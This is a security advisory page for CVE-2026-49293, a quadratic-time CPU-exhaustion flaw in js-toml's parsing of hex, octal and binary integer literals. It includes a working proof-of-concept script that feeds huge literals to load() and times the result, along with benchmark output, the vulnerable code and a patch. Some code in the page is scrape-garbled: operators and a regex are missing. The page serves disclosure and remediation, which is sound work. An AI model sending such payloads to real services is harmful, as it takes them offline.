CVE-2026-49293: CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

Published Jun 19, 2026
·
Updated

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party .toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

- Package: js-toml (npm) - Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0) - Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

ts const parseBigInt = (string: string, radix: number): bigint => { let result = BigInt(0); for (let i = 0; i < string.length; i++) { const char = string[i]; const digit = parseInt(char, radix); result = result BigInt(radix) + BigInt(digit); }

return result; };

and the interpreter that dispatches to it at lines 72-84:

ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(//g, ''); const digits = intString.slice(2); const radix = getRadix(raw);

const int = parseInt(digits, radix);

if (Number.isSafeInteger(int)) { return int; }

return parseBigInt(digits, radix); });

Two compounding problems:

1. Algorithmic: the loop performs result BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|<hexDigit>) (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAXSAFEINTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest). - CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests. - IDE / language-server plugin that re-parses a TOML buffer on every keystroke. - Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

- Node.js v22.x (tested on v22.0.0 and Node v26.0.0) - macOS arm64 / Linux x8664 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

bash mkdir js-toml-cve && cd js-toml-cve npm init -y npm install js-toml@1.1.0 @iarna/toml

pocfulle2e.mjs

js import { load } from 'js-toml'; import iarna from '@iarna/toml';

function timeIt(label, fn) { const t0 = process.hrtime.bigint(); let result, err; try { result = fn(); } catch (e) { err = e; } const t1 = process.hrtime.bigint(); const ms = (Number(t1 - t0) / 1e6).toFixed(1); if (err) console.log(${label}: ERROR ${err.message} after ${ms}ms); else console.log(${label}: ${ms}ms${result ? ' ' + result : ''}); }

console.log('--- Sanity baseline (small inputs) ---'); timeIt('decimal int 1', () => { load('x = 1'); return ''; }); timeIt('hex 0x10', () => { load('x = 0x10'); return ''; }); timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---'); for (const n of [10000, 20000, 50000, 100000, 200000, 500000]) { const hexDigits = 'f'.repeat(n); const tomlText = x = 0x${hexDigits}; timeIt(hex ${n.toLocaleString()} digits (${tomlText.length} bytes input), () => { const r = load(tomlText); return bits=${r.x.toString(2).length}; }); }

console.log('\n--- Negative control: same input via @iarna/toml ---'); for (const n of [10000, 50000, 100000, 200000]) { const hexDigits = 'f'.repeat(n); const tomlText = x = 0x${hexDigits}; timeIt(@iarna/toml hex ${n.toLocaleString()} digits, () => { const r = iarna.parse(tomlText); return type=${typeof r.x}; }); }

console.log('\n--- Octal / binary share the same code path ---'); for (const n of [50000, 100000]) { const octDigits = '7'.repeat(n); const binDigits = '1'.repeat(n); timeIt(oct 0o${n.toLocaleString()} digits, () => { const r = load(x = 0o${octDigits}); return bits=${r.x.toString(2).length}; }); timeIt(bin 0b${n.toLocaleString()} digits, () => { const r = load(x = 0b${binDigits}); return bits=${r.x.toString(2).length}; }); }

Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)

js-toml version: 1.1.0

--- Sanity baseline (small inputs) --- decimal int 1: 1.3ms hex 0x10: 0.4ms hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits (10006 bytes input): 15.0ms bits=40000 hex 20,000 digits (20006 bytes input): 29.8ms bits=80000 hex 50,000 digits (50006 bytes input): 214.7ms bits=200000 hex 100,000 digits (100006 bytes input): 693.0ms bits=400000 hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000 hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml --- @iarna/toml hex 10,000 digits: 2.3ms type=bigint @iarna/toml hex 50,000 digits: 3.2ms type=bigint @iarna/toml hex 100,000 digits: 5.4ms type=bigint @iarna/toml hex 200,000 digits: 10.2ms type=bigint

--- Octal / binary share the same code path --- oct 0o50,000 digits: 187.6ms bits=150000 bin 0b50,000 digits: 49.5ms bits=50000 oct 0o100,000 digits: 633.2ms bits=300000 bin 0b100,000 digits: 196.8ms bits=100000

Confirmation points:

- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted O(n²). - Single ~500 kB document blocks the event loop for ~40 s of CPU time. - Octal and binary literals trigger the same path through parseBigInt(digits, 8) and parseBigInt(digits, 2). - The negative control (@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.

Patched-build verification

After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:

--- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits: 0.2ms bits=40000 hex 20,000 digits: 0.3ms bits=80000 hex 50,000 digits: 0.7ms bits=200000 hex 100,000 digits: 1.5ms bits=400000 hex 200,000 digits: 2.8ms bits=800000 hex 500,000 digits: 7.1ms bits=2000000

(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.

Suggested fix

Two changes, both in src/load/tokens/NonDecimalInteger.ts:

1. Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):

ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(//g, ''); const digits = intString.slice(2); const radix = getRadix(raw);

// Optional but recommended: cap the literal length to avoid degenerate inputs const MAXRADIXLITERALLENGTH = 1000; if (digits.length > MAXRADIXLITERALLENGTH) { throw new SyntaxParseError( Radix-prefixed integer literal exceeds ${MAXRADIXLITERALLENGTH} digits ); }

const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; }

// BigInt accepts '0x'/'0o'/'0b' prefix natively return BigInt(intString); });

2. Delete the parseBigInt helper. The native constructor handles all three radices.

Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).

Fix PR link

https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2

Credit

Reported by tonghuaroot.

Other sources

js-toml is a TOML parser for JavaScript, fully compliant with the TOML 1.0.0 Spec. Versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party .toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. Version 1.1.1 fixes the issue.

MITRE

Affected Software

3 affected componentsFixes available
npm/js-toml<=1.1.0
sunnyadn Js-toml Node.js<1.1.1
npm/js-toml<=1.1.0
1.1.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/js-toml to a version that resolves this vulnerability.

    Fixed in 1.1.1
  2. Upgrade

    Upgrade js-toml to a version that resolves this vulnerability.

    Fixed in 1.1.1
  3. Configuration

    Add a literal-length guard at the interpreter callsite so that radix-prefixed integer literals with more than MAX_RADIX_LITERAL_LENGTH digits (where MAX_RADIX_LITERAL_LENGTH is 1000) throw SyntaxParseError and are not parsed.

    js-toml interpreter / NonDecimalInteger token (src/load/tokens/NonDecimalInteger.ts) maxLiteralLength (MAX_RADIX_LITERAL_LENGTH) guard at interpreter callsite = 1000
  4. Configuration

    Replace the hand-written parseBigInt(digits, radix) logic in NonDecimalInteger with a native BigInt conversion using a prefix string (BigInt('0'+raw[1]+digits)), as BigInt natively parses 0x/0o/0b efficiently (O(n)).

    js-toml interpreter / NonDecimalInteger token (src/load/tokens/NonDecimalInteger.ts) radix-prefixed integer parsing implementation = use native BigInt(prefixedString) with 0x/0o/0b prefix instead of parseBigInt loop

Event History

Jun 19, 2026
CVE Published
via MITRE·06:14 PM
Data Sourced
via MITRE·06:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jun 26, 2026
Advisory Published
via GitHub·10:21 PM
Data Sourced
via GitHub·10:21 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-49293?

CVE-2026-49293 has a severity rating of 7.5, classified as high.

2

How do I fix CVE-2026-49293?

To address CVE-2026-49293, upgrade js-toml to version 1.1.1 or later.

3

What type of attack does CVE-2026-49293 represent?

CVE-2026-49293 allows for CPU exhaustion through O(n^2) BigInt construction using radix-prefixed integer literals.

4

Which software is affected by CVE-2026-49293?

CVE-2026-49293 affects js-toml, a TOML parser for JavaScript.

5

When was CVE-2026-49293 published?

CVE-2026-49293 was published on June 19, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203